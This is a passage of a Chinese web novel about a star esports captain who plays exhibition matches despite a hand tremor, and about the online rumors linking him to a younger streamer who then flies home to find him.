不过温忱都没有同意就是了。
不转会,尚可以有很多种解释。
但是直到近期从沈时那里听说他也拒绝了和DTL续签,沈岸才反应过来温忱想做什么。
——他在等合同到期,然后退役离开。
也正是因此,沈岸才会急不可耐地,通过这种方法迅速打进DTL内部。
留给他站在那人身边的机会不多了。
可从两年前就许下的要再并肩同淋一场金雨的愿望还没有完成。
不懂事的分别一次就够了。
遗憾也不应该再有第二场。
沈岸轻敲屏幕打字。
【Side:那我就待到和你一起离开。】
翌日的表演赛和结业考试时间部分重叠,沈岸提前交了卷,出考场就用手机打开直播,边看边往宿舍走。
结算期表演赛与正赛不同,被粉丝推选出的多是人气很高的明星战队,比赛战绩不计入总积分,赛制也比较随意。
参赛的十四支队伍放在一个大池里,采取不放回抽取对战,一局定胜负,同时线上发起“粉丝最想看的对战阵容”投票,排名前三的队伍在七场对局结束后另外进行三场加赛。
Once打了三年表演赛,几乎每年最后三场都被DTL包圆,今年眼看也不例外。
右上角的小窗口显示着实时投票界面,现下位居第一的对战阵容是DTL??YF,断层领先排在第二的DTL??PUP,第三咬得比较紧,DTL稳坐一方,另外一方在JR和蚀日中横跳。
弹幕一半在讨论主屏幕上的对局,另一半在笑今年有人又要加班了,
沈岸看了一下比赛记录,DTL的随机赛已经打完了,对战的是幻月战队,告捷。
此刻比赛台上的是最后一场随机赛,PUP对战JR,两支战队的明星选手分别是PUP队长Stock齐鹤鸣和JR战队的Blank白庭,两人都是刺客位,一个酷爱跃刃抓C,一个一手循影绝活。
对局来到了白热化的第十四分钟,两人在地图中界交手,一时间难分胜负,最后是Blank的队友先赶到,JR打赢了一波团战。
同为循影玩家,沈岸研究过这个Blank的打法。
如果说他一直奉行的是某人教导的“影随身形”,那么Blank的就是标准的“身随影行”。
隐匿于黑暗之中,伺机而动,蓄势而发。
最终这把对局由JR战队拿下胜利,两个队伍依次上台和粉丝打招呼,互相握手后又接受了简短的采访。
然后就是一年一度最激动人心的加赛环节。
投票结果已经敲定,首先登场的是毋庸置疑的断层第一。
DTL对战YF。
两方选手登台时现场和直播间同时沸腾,红蓝两色的应援此消彼长,交相呼应。
回到宿舍时比赛正好开始,卢哈曼难得没去实验室,也伸头过来看沈岸电脑,试图参悟是什么样的游戏能让他如此痴迷。
开局是四个小人在一张地图上走来走去打小怪,每个人举着各自不同的武器,穿梭于海岛之间。
他看了一会没太明白,开始场外提问:“你支持哪个队啊?”
沈岸被问得愣了一下。
感觉这个问题颇有点你喜欢爸爸还是妈妈的意思。
想了想后决定遵从内心,抛弃亲哥。
指了指顶着Once字样的小人:“这个。”
卢哈曼若有所思地点了点头,着重盯着那个小人看,同时还不忘复习最近学到的新知识。
看着他东扭西扭,闪避了炮弹攻击,问:“这是不是就做叫走位?”
“是。”
又看他翻来滚去,打光了对面先动手的小人的血条:“这是不是叫反杀?”
“对。”
再看他一个滑铲姿势位移到敌人附近,然后朝着没有人的方向放出了一束光波——
从来没见识过这种招数,卢哈曼虚心请教:“这叫什么?”
沈岸:“……”
这叫失误。
尽管一百个不敢相信这个词有一天能用在那个人身上。
但看着他因为那一发炮弹的落空而没有打过对面AD,导致家里团战失利。
好像除了失误,也实在没有别的解释了。
现场的众人显然也被这从未见识过的一幕给惊到了,解说席的两人揉了揉眼睛差点站起来凑近屏幕,导播立刻将镜头给到Once。
隔音室里的灯光很暗,微微晃动的镜头下,那张没什么表情的脸被屏幕上的光效映照成蓝紫色,双眼平视前方,薄唇轻轻抿成一条线。
等待角色复活的时间里,没有去看队友视野,也没有说话,只是默默将双手移开键盘和鼠标,换到摄像机拍不到的地方轻微揉捏活动了一下。
神色如常,一举一动也都十分冷静淡漠,看不出有任何异常。
——如果不是沈岸捕捉到那在镜头前一闪而过的右手有着明显频率不对的颤抖的话。
对局一直僵持至二十分半,因为Once掉点那一波之后,YF的人抱团起势,摧毁了DTL的复生神像,导致他们不敢贸然出手,而YF本身又是一支防守优于进攻的队伍,所以很长一段时间里双方都没有人冲锋打头阵。
Kun几次跃跃欲试,但奈何敌方辅助Ink的防守能力太强,每次都能精准拆火。
像是实在没招了,Kun灰溜溜地跑回地图后方的自家队长身边。
其实不难看出,从那个失误出现之后,温忱就开始收着打了,安安稳稳,勤勤恳恳,没有再主动出手。
非常不符合他一贯的打法。
毕竟众所周知,Once从来都是最敢打敢冲的那一个,即便是在没有复生的情况下,只要有足够的把握,他一样会毫不犹豫地出动出击。
在这种表演为上的比赛上反而畏手畏脚,只有一种可能。
——他没把握。
连一向没什么眼力见的卢哈曼都发现沈岸
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的脸色不大好看了。
“An,你怎么脸臭臭的?”看不太明白但听懂了解说的偏向:“是你喜欢的队伍要输了吗?”
“不会输的。”
少年声音凉凉,不太有加油鼓劲的意思,也没看出激动和喜悦,但是目光坚定得像是在陈述一个既定的客观事实。
尽管那两个解说言语间并不倾向这支队伍,说着什么机会不多,大势已去,很难翻盘……
变局发生在第二十二分钟。一直处于被动地位的DTL瞅准了一个时机,抓住与辅助拉开距离的射手,刺客和战士联手包夹,枪炮从天而降,打了个瓮中捉鳖。
一路乘胜追击,那个顶着Once字样的小人飞天遁地,短短两分钟的交手,拿下四杀,终结比赛。
卢哈曼的嘴巴张成了一个小小的O字。
居然真如沈岸所言,逆风翻盘。
胜负已定,大屏也由游戏画面切换成了选手们的后台画面。
YF惜败,几人面上有些懊恼,但未损士气,互相笑着鼓了鼓气,然后把他们的小队长夹在中间来了个大拥抱。
反是获胜的DTL那边气氛僵冷很多,相对无话,但都有意无意地瞥向最右边的那个位置。
沈岸的目光也落在那个位置的人身上。
只见温忱单手摘下耳机,放在桌下的右手微微捏成拳状,拇指依次从每根指节上按过,像是在做什么缓释运动。
因为后续还有两场比赛,他没去收拾自己的外设,在主持人的邀请下起身,和YF的人一齐走向中央舞台。
两个队伍在满场呼声中碰面,大小Once世纪会晤时尤为热烈。
这是二人第一次在舞台上正式碰面,镜头扫过的时候,两张漂亮得不像话的脸让人有种台上站着两个明星的错觉。
还是颇具CP感的明星。
早在Once还没有归赛的时候,网上就有些闲出屁的给这二位拉郎,因为一个乖巧可爱,一个慵懒随性,还都很好看。
不过都是些圈地自萌,所谓“我的CP离结婚就差见面了”大概就是这么来的。
二人第一次同台,弹幕上有不少人开始激动得乱刷。
把一向觉得自己中文还行的卢哈曼都给看晕了,询问沈岸那几个他从未见过的词组。
“池温是什么意思啊?”中国文化果然博大精深,顺序颠倒又是一个词:“温池的意思也一样吗?”
沈岸没什么心情:“学中文之前老师没教过你汉语拼音吗?”
“池温,念蠢。”
卢哈曼:“……”
从全景到特写,到简单相握的手,画面闪得很快,再切回全景,温忱已经将再次将手插进口袋中。
沈岸没能再从细微末节中捕捉到什么有用信息,不过倒是在舞台明亮的光照下重新看清了那张脸。
面色苍白,形容黯淡。
一看就是不舒服。
于是沈岸的眉头皱得更深了,几次打开聊天框,但又觉得对方肯定不会实话实说。
还是优先曲线救国,戳了戳沈时。
【Side:他怎么了?】
【Time:谁?】
【Side:你说谁?】
【Time:……不好得很嘛?】
【Side:你眼睛有问题?】
沈时真tm服了。
恰好这时从舞台上下来的队员们推开休息室的门,他干脆把手机一收。
池砚走在最前面,看到沈时有些惊喜:“时哥?你怎么有空过来?”
“忙完了就来了,正好待会一起聚个餐,饭店我都定好了,庆祝一下今天取得佳绩。”
刚顺风被翻盘的四个人:“……”
池砚挠了挠头:“时哥,感觉今天Once有点奇怪,他给我送了一个人头诶。”
要知道在赛场上单杀Once那可是能写进职业履历里的。
“什么叫给你送,那是他菜,他技不如人,他打不过你。”
沈时笑嘻嘻地伸手揽人肩膀:“走吧,咱们下班。”
24.第 24 章
人类的悲喜并不相通。
DTL休息室里,林词忧虑地看着沙发上的人,口中念叨不休:“怎么会突然这么严重啊?”
“医生不是说恢复得还行吗?这回来才一个多月,也没什么过高强度的训练啊……”
“昨天晚上跟我吵架的时候不还好好的,怎么今天突然就……”
贺倾本来在事不关己地玩手机,一听吵架抬了抬眼:“为什么吵架?”
脑袋飞速运转:“因为卿卿?”
刘厚恨不能给他来一耳光:“卿你妹呢,现在是卿卿不卿卿的时候吗?!”
他无所谓地耸耸肩:“多大点事啊,表演赛而已,打不了就换人呗,Wink不是在嘛。”
……话是这么说没错。
但林词是真害怕。
这是Once回归后的第二场正式比赛,还是热度一向不低的赛季末表演赛,现场粉丝众多。
昨天刚闹出了那么大的绯闻,虽然DTL官方发文澄清,但还是有不少粉丝没有接受那套说辞,进场的时候就一直在栏杆外喊话,要Once本人正面回应。
可当时温忱就已经很不舒服了,快步走过风口,没有回答那一片嘈杂的叫嚷。
得罪粉丝的事一下干了两件,林词都不敢看网上的言论,只知道这会要再突然不打了换替补,估计能当场被举着应援牌的人吐吐沫淹死。
刘厚没脑子想那些,开门见山地问:“你还能打吗?”
温忱喝了两口热水,胃痛稍有缓解,但从打第一局时就隐隐约约出现的手抖却好像越来越严重了,这会连端杯子都有些不稳。
实话实说:“应该最多再打一场。”
“……那会被第三场的粉丝喷死吧?”
刘厚无语:“?你这话,那雨露均沾,都不打了。”
二人向来不对付,林词白了他一眼,转向温忱:“真的不能坚持坚持吗?两把而已……”
“人都这样了还坚持呢?!被骂两句是能少块肉还是咋的,而且骂也骂不到你身上吧……”
温忱本来就头疼,懒得听他们吵吵,放下水杯起身往洗手间走:“看情况吧。”
……
如果说粉丝把YF投到第一是因为想看大小Once同台,那么把PUP投到第二就纯粹是为了让Once制裁Stock那个老阴b。
齐鹤鸣爱抓C是联盟公认的,不知多少AD在他手下心态爆炸,说句玩笑话,圈内地位可称得上是人人喊打。
因而,看Once溜人,成了报仇雪恨的固定节目。
PUP也不甘心每年被拉出来鞭尸一次,一直在寻找针对Once的独门秘方,Stock前几日还发微博放狠话今年一定要一雪前耻。
网友粉丝当时纷纷在评论区开玩笑嘲讽他吹牛,结果谁能料到,居然还真就让他给做到了。
拿下Once的一血时,齐鹤鸣激动得差点站上电脑桌,要不是队友按着,估计他能直接拎着那张单杀截图冲上舞台走个秀。
Kun赶来救援慢了一步,万分愧疚地看向旁边:“抱歉抱歉队长……后面我跟你走一起……”
温忱捏了捏手腕:“不用。”
他还是有些担心,看着地图上离射手八百米开外的辅助,想了又想还是说道:“……陆哥,要不你回来点我去打先锋?队长他……”
“说了不用。”
重新握住鼠标后,轻敲两下购入了几个装备,温忱语气平淡:“打你自己的。”
PUP旗开得胜,士气大涨,小人Stock蹦蹦跳跳地又越过地图去抓敌方弓箭手。
但可惜的是,这一次被对方提前预判到了,卡着身位位移拉开,远距离两发弓箭将自己打成残血。
灰溜溜的走了。
第三次故技重施,被对方侥幸逃脱。
第四次换了个新位置埋伏,被对方谨慎探点给揪了出来。
直到第五次,也是对局的尾声,好赖是又让他抓到了一次机会。
弓箭手不知道为什么看起来像是喝醉了一样,路走得歪七扭八,给人一种视角在乱飞的感觉。
蹲了半天的跃刃见状连忙从草垛中跳出,给了晕头转向的人爆头一击。
照常理来说,以Once的反应,势必还会有一番拉扯,可奇怪的是弓箭手仿佛被这突然袭击吓破了胆,原地放歪了两个技能,直接一波归西。
齐鹤鸣:……
愣了两秒后忍不住在耳麦里问队友:“你们觉得是对面换人了还是我变强了?”
最终比赛由PUP拿下胜利,Stock成功斩获MVP。
切死Once两次拿到的MVP含金量不言而喻,一路美滋滋地回到休息室,齐鹤鸣刚要琢磨应该发条什么样的微博装逼庆祝,就被自家美女教练当头泼了盆冷水。
“美什么呢,人家状态那么差又没人保,单枪匹马1v1你才杀得掉两次,还好意思嘚瑟呢?”
辛岚一头淡金卷发,眉骨深邃,鼻梁高挺,轮廓十分立体,是比较典型的西方美人长相,唯有一双眼睛是黑色的,且是东方更常见的狭长杏眼,在气质上染了几分静谧的水墨神韵。
不过骂起人来倒是一点不温柔内敛。
齐鹤鸣有些懵:“什么叫状态那么差?”
“看起来像是生病了。”辛岚眸光一凛继续训人:“天天说知己知彼,结果对手状态明显下滑,你在赛场上居然一点没感觉到吗?”
“……”委屈但拉队友下水:“他们都说是我变强了。”
变强的人终于还是被现实迎头一击。
第三场和JR的比赛,DTL换下了Once,让替补Wink上场。
无疑是印证了辛岚的话。
听到这个消息之后,场下观众嘘声不断,JR的粉丝几经跳脚,还好队里有个出了名好脾气的体面人Blank,在赛前准备阶段导播把画面对准他时,笑着和镜头打招呼,主动发言表示能同新人打一打也很开心,和联盟新鲜血液同台竞技,感觉自己也变年轻了。
这才将粉丝安抚下来不少。
Wink临场上阵也没有辜负重托,打出了十分亮眼的舞台首秀,带领DTL拿下胜利。
赛后和Blank握手时,对方还微笑着夸他打得很好,当真是后生可畏。
直到回基地的车上,他都还在忍不住念叨,Blank前辈真的太太太温柔可亲了,怪不得那么多粉丝都叫他什么男妈妈,真的和妈妈一样亲切。
“……”温忱善意提醒:“记着以后当人家面别说这话。”
“噢噢。”Wink不懂但Wink听话,点了点头关心道:“温队你现在感觉好些没?”
“嗯。”
歇下来后手抖倒是缓解了,就是还有些头痛。
——尤其是在接完沈岸的电话之后。
在主持人宣布第三把DTL将换替补时,那孩子就一个越洋电话甩过来了。
知道躲不过,好在队员都已登台,林词刘厚也去了场下,休息室里现在只有他一个人。
猜测也许会被一通质问,又或者是被关心则乱地数落一顿,不过无所谓,反正他已经做好了死不承认或是胡编乱造的打算。
可没想到的是,电话接通后,那头传来的声音
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绵软乖巧,除了担忧外,没有一丁点质问和无理取闹的意思。
“你不舒服?去医院看了没有?”
顿了顿又柔声问:“很严重吗?”
像是一只收起爪子的猫,三言两语就叫本铁了心思装无赖的人听完心软。
于是违背初心,老老实实回答:“看过,不严重。”
“所以是什么原因?神经问题?还是压力太大造成的?”
“差不多吧。”
“差很多吧。”
“……最近训练强度太高了,没休息好。”
“就为了这个表演赛?”
眼看对方乖不过两秒,又有不依不饶的趋势,温忱赶忙打乱他的节奏:“对啊,都和你说了这个地方很差劲了,狠狠压榨人的,你来的话肯定吃不消。”
“哦,那正好,我刚巧略懂一些劳动法。”
“……”
不想让他来是真的,管不了也是真的。
温忱太了解这孩子了,想做的大多数事情都是不做到不罢休的。
不过好在他本身脑子好使且对早就DTL的种种品格有着清晰的认知,不会拎不清地不留后手。
而且DTL短期内也不会乱动首发阵容,正如刘厚所说,真把人要来也只是培养来接他的班。
做同队是没可能的,最多就是约几场训练赛,甚至可能也打不了几个照面。
温忱自我安慰,没准他会觉得太浪费时间影响学习就算了,也许自己再躲几天就又把人给气走了,又或者他本身也就是只腾了一个寒假的功夫来体验几个月生活……
再再不济,等到再九个月后,自己合同到期离开DTL,他总归也就老老实实一起走了。
……
两人都没说话的十几秒里,前台正巧打出了什么精彩操作,欢呼声和解说差点破音的吼叫声一路贯穿而来。
落在温忱耳边,也传至电话那头的人耳边。
听得沈岸心里其实有些不是滋味。
温忱带队之后这一路走来,除了休赛那半年多,还从来没有缺席过任何一场比赛,记得有一次季中赛时流感生病,顶着39度的高烧依旧正常发挥打完了整场。
但若再向前追溯,像这样在幕后观看队友比赛,听着全场爆发出阵阵将他排除在外的呐喊助威,其实也是有过的。
而且不少。
刚进DTL那几年,在老队长Zedan的强烈要求下,这个和队内磨合很差的天才少年基本每场比赛都有做冷板凳的机会……
想到这,一些到了嘴边的疑问又被沈岸咽了回去。
因为舍不得在这个氛围之下跟他较休赛和退役原因的真。
为了避开卢哈曼特地到阳台上打电话的人在寒冬中呵出一口白气,紧接着一抬眼,才发现阴翳了几个月的天居然不知何时出了太阳。
轻柔的,明媚的,暖洋洋的。
栏杆上的积雪也开始有了融化的迹象。
宛如在深冬中的一次开春,不合时节,但满怀希望。
沈岸想,或许这就是另一种春天。
前场重归平淡后,只温忱一人的休息室也跟着安静了下来,听筒里半天没有声音,他便琢磨着随便找个由头挂电话得了。
可还没想好,就听那头忽然很轻很轻地唤了他一句。
“忱哥。”
久违的称呼让温忱一愣,拿着手机的左手也忽然颤抖了一下。
“今天我这里出了太阳,阳台的积雪快化了。”
然后语调急转直下,深吸了一口气:“不过还是很冷。”
“你说,国内的天气会更好吗?”
25.第 25 章
翌日一早,坑钱嫌疑重大的心理咨询师再次上门给Once做了复诊,顺带同时给队内其他几人也做了测评,评估结果是大家都很健康,没有压力过重导致的焦虑迹象。
理疗师紧随其后,针对Once的手部状态进行检查,也没有发现明显的肌肉损伤和神经压迫情况,但出于有钱不赚是傻逼的心理,还是认真制定了一个长期康复训练计划。
待到两波人相继离开,林词才终于有时间冲进基地休息室,砰的一声把门一锁。
温忱困得要死,从按摩开始就一直在闭目养神,这会被莫名其妙吓了一跳也只是厌厌地瞄了一眼门的人。
“干嘛?”
眼见这人还一副无所谓的样子,林词简直匪夷所思:“你今天到现在没看手机吗?”
“有什么可看的,不就那些话。”
什么“场上接连被单杀疑似状态严重下滑”啊,“操作变形反向大招是否预示着天才陨落”啊,“中场换替补莫非是心态被打崩”啊……他早在昨晚回来的路上就都看到了。
热度再高一些后,有粉丝细心剪出了几个一闪而过的镜头,放慢解析,包括不太好看的脸色,进场时下意识地捂胃,比赛中的手抖和握拳揉捏……
解释说明显就是身体不舒服,生病都能打成怎样已经很厉害了。
于是顺理成章,有关休赛原因的话题就再一次被翻出来讨论了。
那些沈岸没问出口的话网友不会藏着收着,DTL对此拥有着最终解释权,他关注也没用,是以就没再继续刷了。
温忱搞不懂这人为什么面如死灰:“有什么意想不到的吗?”
林词:“……”
那可真是太意想不到了。
他两步走到沙发边,强行按捺住情绪,冷静问:“你和那个新人什么情况?”
“什么新人?”
“就那个要来我们战队的Again。”
林词好赖也是个大学文化,清楚这两个ID能成词,亏他之前还跟小丑一样只当人家是太喜欢Once才故意这么取名的粉丝。
现在想想八成得是什么小情侣的情趣才对。
当了半个多月傻子又憋了一上午气的人阴阳怪气地问道:“你俩现在到哪一步了?如胶似漆还是恨海情天呢?”
一句话直接给困得五迷三道的人干清醒了。
温忱:“?”
在对方钉子般直楞楞的注视下,他皱眉掏出手机。
未接来电有几个,微信消息是爆了的,他一眼扫过,小猫看海头像被新消息刷到了很下方,不过没有未读提示。
倒是沈时发来了两个点赞的小手。
哪条也没点进去看,温忱转手打开了微博。
头条赫然被包圆。
#Once #Again #Once Again分别霸占热榜前三,后面跟着一个红得发紫的“爆”字。
最初发布的原视频已经被DTL公关删过一轮,现在点进去,点赞和评论最高的是一个八卦博主贴出来的截图。
图片足足凑了九宫格,场景不同,但主角相同。
人潮纷涌机场背景下的三张分别是,高大黑色身影箭步穿过人群、俯身拥抱住墙角的白衣少年,以及将人打横抱在手中离开。
雪后深夜的室外街道上,场馆外的面对面而立是一张,昏黄路灯下肩挨着肩等车一张,相继钻进同一辆商务车后座又是一张。
最后三张图的则都是在一栋别墅住宅区门前,角度较前两组更为隐蔽,只能隐约看到似乎是手拉着手的。两人身高相近,贴得也近,一人微微仰头,一人轻微颔首,还互相拉扯着,意味实在过于暧昧。
即便图片是从视频中截取下来的,还被博主像狗仔爆料地下恋情般贴了厚厚的水印,清晰度非常之差,但图片中的两个主角还是很好辨认。
一位是大名鼎鼎,被誉为圈内神话,刚归赛不久就已经数次登榜热一的冠军队DTL队长,Once。
另一位则是从开播到登榜国服只消半月,被国内一众战队俱乐部争相竞抢,却高调宣称只想加入DTL的天才新人主播,Again。
若说各自为王时众人还不那么会联想到一起,那么此时此刻,随着那样亲密的照片流露而出,两个ID并排出现,再加上后者宁愿放弃百万流量的直播间去也要去业内风评并不好的DTL做青训……
饶是迟钝如木头的人也该意识到事情不一般了。
粉丝破防和黑子爆发同在一夕之间。
【呵呵,女友粉最小丑的一集】
【玩的真花呀,前两天上热搜那个也是他吧?男女通吃啊?】
【这就是你们天天吹的联盟第一人吗?】
【前段时间去DTL微博底下留言推荐的你们开心了么?你一票我一票,哥和嫂子齐出道~】
【谁规定的职业选手不能谈恋爱了?人家又没影响比赛,管得着吗你们】
【还没影响呢?现在这么看休赛半年是不是跑去谈恋爱了都不知道,昨天打得那么差别是和对象吵架咯心情不好哦~】
【一张嘴就造谣是吧,Once可是实打实的为国争光的冠军,你们还有一点良心吗?】
【记:为国争光就可以做渣男】
【小女生和小男生都要收入囊中的争光哥一枚呀~】
……
大多数评论林词已经看过一遍,DTL公关队伍加了一早上班,奈何实在过于劲爆,根本压不下去。
他从自己手机上翻出那个被删除的原视频,递给温忱:“他就是你那天回机场找的人,另外两段视频是在挑战赛那天晚上,是吧。”
温忱简单扫了一眼,事实的确如此,没什么可狡辩的。
“是。”
林词闭上眼,深呼吸一口气。
“所以,那天晚上的两把循影,其实也都是他,对吗?”
现在的网友都一个比一个敏锐,早在Again开播后没几天就有大神开帖子分析过,这个人的循影打法和那天晚上挑战赛上的两人也很像,感觉都是一脉相承——承的Once。
留言两极分化很严重,有部分人说是挺像,更多游戏理解没那么透彻的人则认为在蹭热度。
毕竟Once的打法从来联盟独一份,饶是Peak那样的专业团队都模仿不来,民间再怎么学也不可能一下学出三个顶尖高手来。
——一个倒还是有可能的。
通过照片得知那晚上Again也出现在挑战赛现场后,有网友化身列文虎克开始寻着蛛丝马迹翻找当时场馆内的照片,终于,在一个国外战队队员的微博照片中发现了端倪。
当时他们战队包间的位置位于二楼的正中央,正对着一层的比赛舞台,那个队员站在看台上随手拍的两张自拍,背景中带到了几个正在进行比赛的
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房间。
场上的电竞间用的是和赛场隔音室差不多材质的玻璃,多了圈磨砂花纹,并不完全遮挡视线,虽然脸看不太清,但通过衣服颜色不难发现,某个房间里的两人在两张照片中是交换了位置坐的。
水友赛这种娱乐性质的比赛倒是没有什么不允许代打的说法,可这个行为本身就显得有些奇怪。
直到又冒出来一位福尔摩斯,反手PO出一个帖子——是周旭升靠着挑战赛战绩截图带妹,结果太菜被挂的那一个。
楼主附言:当时看到这个就感觉不对劲,截图不像是P的,直播的时候我在看,游戏ID搜出来就是这个人没错,但他菜也是真的菜,之前怀疑是别人拿他号玩的,现在看来估计是现场换队友操作了。
底下瞬间有人盖楼支持,人肉机自发启动。
周大少爷本人酷爱在网上发布个人信息,且私下行事也蛮高调,查起来丝毫没有难度。
【三十一楼:我去,这人还是国外名校的】
【三十四楼:等等……这个学校名字好像有些眼熟?】
【楼中楼回复:废话,全球顶尖学府你没听说过?】
【三十五楼:不是,楼上的意思应该是指在某人直播间看到有人刷过……?】
【三十七楼:卧槽,我有印象,Again最后直播露脸那天弹幕有人刷这是他们学校的学霸,还被嘲讽了】
【四十二楼:这是什么奇葩故事???顶级学霸为了搞对象放弃学业转行打游戏?!】
【四十八楼:Once你小子害人不浅啊】
【五十二楼:不要偏题啊楼上!所以这是变向证明了那天晚上的两把循影都是Again在打了对吧!!】
【五十五楼:包的啊!!!我就说怎么一下冒出来这么多天才,搞了半天都是同一个啊啊啊——死小情侣骗得我们好苦——!!】
【六十楼:Again之前在直播间说的有人手把手教原来指的是Once啊,呵呵,粉丝们知道你家世界冠军训练之余还抽空教弟弟打游戏吗?】
【六十二楼:我们都是小情侣play的一环罢了……】
…………
温忱也没和林词绕弯子,实话实说:“是他。”
虽说早有准备,但听到对方亲口承认,还是有些两眼一黑的程度。
过了半晌才顺出来一口气:“所以你们真的……是在谈恋爱,吗?”
“不是。”
翻阅了个差不多之后,温忱大致了解了现在网上的风向和谣言趋势,手指飞速敲击屏幕,输入了一串久远到快要忘记的账号密码字符。
“那是以前有过?”林词根本不信,“……你放心吧,我对同性恋没什么别的看法,都是成年人了,你实话跟我们说,大家心里有个底,也知道该怎么让公关发文……”
“没有过。”
温忱头也不抬,忙着敲字:“不需要你们发。”
林词:“?”
等到他伸过头去看对方手机,才惊讶地发现这人居然登上了几年没上过线的微博大号。
并且已经在文本框中编辑好了一串文字。
看着他毫不犹豫地就要点发送,林词大惊,慌忙冲上去阻拦:“卧槽你别这样写——!”
可惜还是晚了一步。
正在上传的进度条一跃而过,没有给任何人反悔的时间。
微博发送成功。
26.第 26 章
北京时间21:00,当日A国飞国内的最早一趟航班准时落地。
沈岸前日挂掉电话后琢磨了半宿,最终还是把一周后的航班改签到了隔日,睡了一半直接爬起来收拾行李,卢哈曼夜里起来上厕所看着客厅一地的狼藉还以为宿舍遭贼了。
最终眼也没合就拖着行李登了机,在飞机上补了一路的觉,醒来后已进国界,美滋滋地准备给温忱发个落地信息看看对方是否会来接他,但消息还没来及发出去,就先看到了微博头条的推送。
【你的关注@Once发布了新微博,点击进入查看】
温忱一向很少发博,就是俱乐部要求转发的官方赛事内容他也不发,上一条也是唯一一条,是三年前第一次夺冠时的庆贺,只有简单两个字:“赢了”,外加一个比耶的小手。
想不通是什么能让他突然记起吃灰的账号和密码,沈岸抱着好奇的心态优先点进了这一条。
然而只一眼,就教他直接愣在了原地。
——Once发了一个澄清声明,只有简单的两句话。
第一句是:【只是弟弟,没有在谈,没有旧情。】
第二句是:【是我教的,很多年前了,没有也不会影响竞技公平。】
饶是不知因果,单看这两句话,沈岸也知道这波澄清的对象不会再有第二个人了。
退回微博主页,自己的ID还和那人一起挂在热搜上,点击量爆炸的图片与被重新上传的视频接踵撞进视线。
一看就是偷拍的视角,尤其是最后一段,那个住宅区入住率本身就很低,又是冬夜凌晨,绝不可能是有人恰好路过拍下。
审阅完三段视频后,沈岸心中意识到这波估计又是有人故意跟踪整他。
但手上动作倒是有些反叛——再次点回了第一段机场视频,重新播放。
当时在看到温忱走过来时他的意识就已经很不清明了,只隐隐记着最后是被他搂住的。
……原来居然还有公主抱吗。
……还抱得那样紧张兮兮。
……怎么不继续录了,还想看看是不是就这么一路抱去的医院呢。
在又一次准备重新拉回进度条时,沈岸幡然回神。
不对,这人是不是刚刚发了什么微博来着!
——草。
再看一眼那条微博,沈岸的火气噌一下就上来了,跟女主播传绯闻几天没个屁,这边自己新闻都没看到就先看到他忙不迭的澄清了。
什么意思,和我并排出现很丢脸吗??
三言两语摘得倒是干干净净,真这么清清白白光明磊落,有种别一见面就躲,一发消息就轮回,一打电话就想挂啊。
还没旧情,只是弟弟。
谁要做你弟弟啊。
……
一连拨过去三个电话都是无人接听,聊天框的疯狂炸弹轰炸也没有回音。
气得孩子连掉头买张票直接再飞回去的心都有了。
第四次嘟声结束,沈岸改变思路,拨通了另一个电话。
这下对面倒是接得蛮快,一开口就是贱兮兮的语气:“才看到啊?生着气呢”
沈时语重心长:“就知道你一准要炸,不过你也别怪他,他那是怕那群黑子乱喷乱骂,到时候什么私人信息都给你人肉出来不说,有些过激的还会线下骚扰恐吓,你不知道,这个圈子其实……”
沈岸懒得听大道理,直接打断:“你知道他人现在哪吗?”
“他们俱乐部今晚聚餐,这个点应该在吃饭吧,你问这个干嘛?”
“要一下地址,他不理我,我要去找他。”
“现在??气疯了吧你,等你到了他明天午饭都吃完了。”
“我在机场,刚落地 。”
那头静了几秒,突然爆炸。
“你说你他吗在哪??!!”
……
夜里十点半,当地知名商务会所楼下出现了一个穿着白T恤牛仔裤,拉着行李箱,看起来又软又乖的美少年。
徘徊了一阵,打了几个电话似乎都没打通,几次想进门但又都皱皱眉退了回去。
在门口等客户的营销经理时不时侧目扫过去几眼,心想这八成又是个在网上看到招聘信息,从外地赶来但心里纠结,不大能走出这一步的失足少年。
可这长相,这身段,这气质,天生就是吃这碗饭的料啊!
营销经理爱才若渴,在见他又一次把手机从耳边拿下来后,悄咪咪凑了过去。
“小帅哥,成年了嘛?”
沈岸一惊,戒备地抬眼。
那眼神冷冰冰又毛绒绒的,凶得可爱,看得他一个大男人都有些心动,心想真干了这行保准是个头牌级别的。
于是开始珍宝似地哄人。
“成年了就行嘛,有什么可不好意思的,听我句劝小伙子,都是工作,工作不分贵贱!只要是凭借自己的努力和汗水挣钱就不可耻!”
“再说了,你看你长这么好看,那姐姐哥哥肯定都喜欢,喜欢就有钱赚,咱这个年纪正是拼搏奋斗赚大钱的年纪!你跟着哥哥,哥哥肯定给你介绍好的……”
沈岸这下听懂了。
合着以为他来是来找工作的。
人无语的时候真的会想笑,沈岸抿了抿唇压住嘴角,告诉自己尊重每一份职业,然后礼貌地和营销经理说:“谢谢赏识,但还是不用了吧 。”
经理不死心,还欲再劝,可在这时,男孩一直打不通电话的手机突然响了。
他只当是之前不理人的其他皮条客联系他了,毫无职业道德地贴过去抢人:“哎呀,哥这里的条件肯定比别人好……”
在准备夺人家手机,拦着不让接电话时,营销经理再次被少年瞪了一眼。
但这次一点都不毛绒绒了。
凌厉逼人,阴鸷凶狠得仿佛下一秒就要动手揍人,吓得他往后退了好几步。
紧接着就见这男孩接通电话,变脸如翻书般,换上了乖巧软糯的声调,唤了句什么陈哥。
不知那边说了什么,男孩的声音又变得有几分委屈。
“我在你楼下。”
抬头用并不非常友善,和语气完全不同的阴冷目光看了自己一眼,然后冲电话那头说。
“你可以出来接我一下吗?这里有人要拉我去做男模。”
营销经理:“……”
“逼良为娼”的经理人怕待会挨揍速速溜号,走之前不知道怎么想的,给小孩子散了根烟算作赔礼。
但没想到那小孩看着乖乖的居然真敢接,不仅敢接,还连吃带拿,把他打火机也给要走了……
痛失重要工具的经理:真是人不可貌相!!
……
温忱花了不到五分钟下楼,他喝了不少酒,被风一吹醉意更是上头,但也没妨碍一转眼就看到了侧边小道上的白净少年。
年身量颀长,站得很直,手边放了个大大的行李箱,利落的墨色短发在夜风中被轻轻掀起,漏出光洁的额头。
泠然站在鎏金柱的阴影里,脚边是浮华漩涡,身后是震天音乐。
但他全然置身事外,周边的一切甚嚣尘上,纸醉金迷都未能将其沾染分毫。
第一眼,温忱百思不得其解方才到底是哪位眼拙的人才——这有一根头发丝像是能和那种特殊职业挂得上钩的吗?!
第二眼,温忱迟钝地发觉,这个场景似乎有些眼熟。
一年多以前,在国内的最后一面,好像也是这么个情况……
一人站在俗世纷扰之外,一人从酒乱奢靡中走出。
明明从来是两个世界。
却还偏偏要一再闯入。
轻叹了一口气,没像上次一样故意躲着不出现,因为已经印证过了,沈岸是真的会一直等,自己也是真的会不忍心。
